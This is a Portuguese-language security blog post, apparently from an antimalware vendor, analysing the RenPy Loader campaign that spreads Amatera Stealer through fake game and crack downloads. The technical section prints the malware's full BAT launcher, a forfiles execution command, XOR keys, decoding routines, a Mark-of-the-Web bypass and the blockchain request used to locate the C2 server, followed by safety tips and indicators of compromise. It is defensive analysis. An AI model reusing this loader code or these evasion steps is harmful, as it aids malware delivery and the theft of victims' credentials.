Detetámos várias campanhas que utilizam downloads falsos de jogos, mods, cracks e software para propagar o RenPy Loader. Uma vez instalado, o carregador inicia uma cadeia de infeção complexa e em várias fases que explora o MSBuild e a técnica EtherHiding, antes de, por fim, instalar o Amatera Stealer.
O Amatera é um «infostealer» — um tipo de malware concebido para roubar informações confidenciais de um dispositivo infetado. Pode ter como alvo palavras-passe e outros dados armazenados em navegadores, carteiras de criptomoedas, extensões de navegador, aplicações de mensagens e ficheiros locais. As credenciais e os dados de sessão roubados também podem permitir que os atacantes acedam às contas online da vítima.
A vítima pode ver o que parece ser um jogo ou um programa de instalação de software normal, enquanto o malware funciona silenciosamente em segundo plano.
O RenPy Loader, também conhecido como RenEngine Loader, é particularmente interessante porque se aproveita do Ren’Py, um motor legítimo utilizado para criar romances visuais, jogos centrados na narrativa e ficção interativa. Ao ocultar código malicioso no interior de software associado aos jogos, os atacantes conseguem fazer com que os seus downloads pareçam mais credíveis para quem procura jogos, mods ou software pirateado.
Já vimos anteriormente que os atacantes utilizam indevidamente ferramentas de desenvolvimento legítimas e frameworks de software emergentes, incluindo o Bun e o Deno, para distribuir malware. O RenPy Loader segue o mesmo padrão: os atacantes abusam de tecnologia legítima para disfarçar atividades maliciosas, complicar a cadeia de infeção e tornar a deteção mais difícil.
Verificou-se também que o RenPy Loader distribui outro malware, incluindo o HijackLoader e o Lumma Stealer, o que demonstra que a carga útil final pode variar de campanha para campanha.
Neste blogue, analisamos uma cadeia de infeção na qual o Ren’Py descodifica um arquivo ZIP que contém um ficheiro BAT e vários ficheiros de projeto MSBuild. Estes ficheiros carregam um componente .NET infectado com um trojan, que, por sua vez, descodifica outro componente malicioso.
Esse componente malicioso utiliza uma técnica denominada EtherHiding para localizar o seu servidor de comando e controlo (C2). Em vez de armazenarem o endereço do C2 diretamente no malware, os atacantes ocultam-no em dados armazenados numa blockchain pública. O malware descarrega então as próximas fases do ataque a partir desse servidor, tornando a infraestrutura dos atacantes mais difícil de identificar e neutralizar.
Por fim, analisamos as cargas úteis adicionais que, em última análise, descodificam e executam o Amatera Stealer.
Os downloads falsos infetam o seu dispositivo
A infeção tem início quando alguém descarrega um suposto jogo, mod, crack ou programa. Detetámos ficheiros maliciosos distribuídos através de:
- Sites maliciosos
- Portais de download de jogos
- Vários serviços de partilha de ficheiros, incluindo o Wormhole, o GoFile, o Google Drive e o MEGA
Eis algumas das páginas detetadas que dão início à cadeia de infeção:
Em vários casos, ao clicar num link de download, o utilizador era redirecionado para outro site de download falso. Estas páginas utilizavam designs diferentes e nomes de serviços inventados, o que contribuía para que as campanhas parecessem menos repetitivas e tornava a infraestrutura maliciosa mais difícil de reconhecer.
Seguem-se alguns exemplos de páginas de download falsas utilizadas para distribuir o ficheiro compactado malicioso:
O utilizador descarrega um arquivo que contém um ficheiro chamado Setup.exe. Ao abrir este ficheiro, inicia-se a cadeia de infeção.


A vítima vê um ecrã de carregamento ou de instalação, mas, em segundo plano, está a ser executado código malicioso.

Como se manter seguro
Algumas precauções podem reduzir o risco de descarregar jogos ou software malicioso:
- Descarregue jogos e software a partir de sites oficiais, lojas de aplicações de confiança ou plataformas de distribuição reconhecidas.
- Tenha cuidado com software pirata, mods não oficiais e versões gratuitas de jogos pagos.
- Tenha cuidado quando um link de download o redirecionar através de vários sites desconhecidos ou serviços de partilha de ficheiros.
- Verifique o conteúdo dos arquivos comprimidos descarregados antes de abrir ficheiros executáveis, tais como
Setup.exe. - Procure nomes de ficheiros invulgares, imagens ou ficheiros de texto sem relação com o tema e conteúdos que não correspondam ao que pretendia descarregar.
- Utilize software antimalware em tempo real, como o Malwarebytes.
- Mantenha o seu sistema operativo, navegador e software de segurança atualizados.
Os responsáveis por estas campanhas criam constantemente novos sites e alteram as suas páginas de download. Um programa de instalação com aspeto profissional ou um serviço de partilha de ficheiros conhecido não garante que um download seja seguro.
Análise técnica do carregador do RenPy
O Ren’Py é um motor gratuito e de código aberto para a criação de romances visuais, jogos centrados na narrativa e ficção interativa. O Ren’Py permite a integração de scripts em Python, que os atacantes exploram para inserir código malicioso.
Neste caso, detetámos código malicioso nos seguintes ficheiros e caminhos:
|
Caminho |
Descrição |
|---|---|
|
|
Classes anti-sandbox |
|
|
Carregador |
|
|
Configuração encriptada com XOR |
|
|
ZIP encriptado com XOR |
O propulsor do primeiro estágio extraído de libwin32.rpa executa as seguintes operações:
- Lê a configuração
data/.GEge descodifica-o utilizando a descodificação Base64 e a operação XOR com a chave81034149cd6f48c8821340204f92766e. Esta configuração contém a palavra-passe utilizada para extrair o ficheiro ZIP, juntamente com outros dados de configuração utilizados pelo carregador. - Chamadas
sys_config.is_sandboxed()e encerra a execução caso seja detetada uma sandbox. - Descriptografia XOR
data/j3lpTcg7kBRN.E3utilizando a chaveA50YyY1para obter o ficheiro ZIP. - Extraia o conteúdo do ficheiro ZIP para uma pasta aleatória na subpasta
%TEMP%/tmp-{5 digits}-{12 characters}e escreve um:Zone.Identifierfluxo de dados alternativo (ADS) comZoneId=0para remover a «Marca da Web» e contornar o SmartScreen. Além disso, insere umREMstring no ficheiro BAT extraído. - Lança a carga útil utilizando
forfiles.exe. - Envia o MAC do computador e o ID da campanha para um site de rastreamento.


Neste caso, o ficheiro BAT extraído foi executado utilizando o seguinte comando:
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
Conteúdo do ficheiro BAT:
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
O ficheiro BAT executado realiza as seguintes operações:
- Reinicia-se numa consola oculta ou sem interface gráfica:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- Ativa as funções de propriedade do MSBuild, permitindo métodos adicionais, tais como
AppDomain.CurrentDomain.Loada executar:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- Executa
MSBuild.execomNancy.csprojcomo ficheiro de projeto. Durante a avaliação do projeto, uma função de propriedade maliciosa do MSBuild descodifica em hexadecimal e carrega de forma reflexiva a DLL seguinte.
A DLL «Nancy» infectada com um trojan e o bytecode personalizado
Nancy.csproj importa os três ficheiros extraídos Nancy.csproj.user, Internal.props, e Nancy.Compile.targets. A DLL maliciosa está dividida em três valores armazenados nestes ficheiros.

Nancy.csprojNancy.Compile.targets concatenar os três valores para descodificar a DLL em hexadecimal e executar o DefaultEvaluator5 método que utiliza AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5O mais interessante é que Nancy.csproj tem duas finalidades: é o projeto MSBuild utilizado para executar o carregador da primeira fase e contém também a fase seguinte, descodificada pelo carregador.
A DLL é uma versão trojanizada da biblioteca Nancy .NET e constitui um carregador .NET ofuscado com código malicioso implementado no DefaultEvaluator5 classe. Algumas das funcionalidades da DLL são implementadas em bytecode personalizado executado por este método «main».

A DLL executa as seguintes operações:
- Descodifica cadeias de caracteres dos recursos utilizando a descodificação XOR com várias chaves.
- Resolve APIs utilizando o hash de API e
GetDelegateForFunctionPointer. - Altera as definições de rede, incluindo a desativação da validação de certificados TLS e a definição do proxy predefinido do sistema.
- Realiza operações anti-forenses.
- Lê o
_czzfvariável de ambiente, que aponta para a anteriorNancy.csprojficheiro, e, em seguida, descodifica-o e executa-o.
O principal DefaultEvaluator5 Este método recupera cadeias de caracteres e interpreta o bytecode contido nos seguintes recursos:
Nancy.Runtime.mvlorimu: Contém o bytecode personalizado. O bytecode é interpretado por_pve_sro. Implementa 23 códigos de operação utilizados para descodificar outras cadeias de caracteres e carregar a DLL da fase seguinte.Nancy.Data.tcnlhxweNancy.Resources.kxxodp: Contém as cadeias de caracteres encriptadas e outros dados utilizados para a desencriptação, incluindo chaves, comprimentos, índices e a S-box.
As cadeias de caracteres são descodificadas utilizando o seguinte algoritmo:
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
A próxima fase da DLL, GollopDevest, é descodificado a partir do mesmo Nancy.csproj ficheiro que utiliza a seguinte lógica e que contém AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack marcadoresEtherHiding e Amatera Stealer
A próxima etapa extraída é uma DLL chamada GollopDevest.dll, um programa de descarregamento .NET que utiliza a técnica EtherHiding para obter o endereço do seu servidor de comando e controlo (C2) e descarregar a fase seguinte.
O domínio C2 encriptado é obtido através de um JSON-RPC do Ethereum eth_call pedido para bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
É provável que este programa de download EtherHiding faça parte de uma operação de «malware como serviço» (MaaS), uma vez que detetámos a sua distribuição noutras campanhas, incluindo as campanhas ClickFix.
São então descarregadas três cargas úteis adicionais: duas DLLs .NET denominadas PavinWide (uma DLL anti-análise) e GollopDevest (uma DLL de carregamento) e uma DLL em C++ chamada LanoseThrip, que, em última análise, descodifica e carrega o Amatera Stealer.
Neste caso, estas cargas úteis foram descarregadas a partir de:
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
As DLLs do .NET são fortemente ofuscadas através do achatamento do fluxo de controlo e de chamadas indiretas através de calli/ldftn, encriptação de cadeias de caracteres com vários algoritmos, código inútil, código inativo e cadeias de caracteres falsas, tais como percursos de URL.
A análise destas DLLs ainda está em curso e será abordada com mais pormenor nas próximas publicações do blogue.
Indicadores de compromisso (IOCs)
Domínios
downpro[.]net– Site falso de downloadsmacisofile[.]sbs– Site falso de downloadsvisitmama[.]blog– Site falso de downloadsvisitmama[.]guru– Site falso de downloadsgetgamerfree[.]com– Site falso de downloadsfullgames[.]digital– Site falso de downloadsflingbase[.]net– Site falso de downloadscitronemu[.]com– Site falso de downloadsfilemodo[.]xyz– Infraestrutura de distribuiçãostorage06x[.]cfd– Infraestrutura de distribuiçãop03sil[.]cyou– Infraestrutura de distribuiçãowimsedas[.]xyz– Infraestrutura de distribuiçãoagainstmor[.]store– Infraestrutura de distribuiçãohost03q[.]cfd– Infraestrutura de distribuiçãocloud01y[.]cfd– Infraestrutura de distribuiçãostorage11x[.]cfd– Infraestrutura de distribuiçãostorage04x[.]cfd– Infraestrutura de distribuiçãohost82p[.]cfd– Infraestrutura de distribuiçãocloud05y[.]cfd– Infraestrutura de distribuiçãoanalyticstrack-pzh[.]click– Site de acompanhamentologin.orbitalframework[.]cc– Amatera Stealer C2
Endereços IP
144.124.251[.]171– Utilizado para obter cargas úteis adicionais195.63.140[.]33– Utilizado para obter cargas úteis adicionais78.40.196[.]252– Utilizado para obter cargas úteis adicionais
Hashes de ficheiros (MD5)
29203ca123d51b1b33505a0813d360df– Carregador de primeira fase (DLL com código trojan)810F257542018BE0FC62AF542D13D012– DLL do GollopDevest (DLL do programa de transferência)681DB529E402467A4B0567C82A350FC0– DLL PavinWride (DLL anti-análise)2E116632248A7E1F8AA6BCA92D9C1C90– DLL do GollopDevest (DLL do carregador)F8453EFE408CE25B9484F872797E3D63– Carga útil final
«Uma das melhores suites de cibersegurança do mundo.»
Segundo a CNET.Leia a análise deles →






















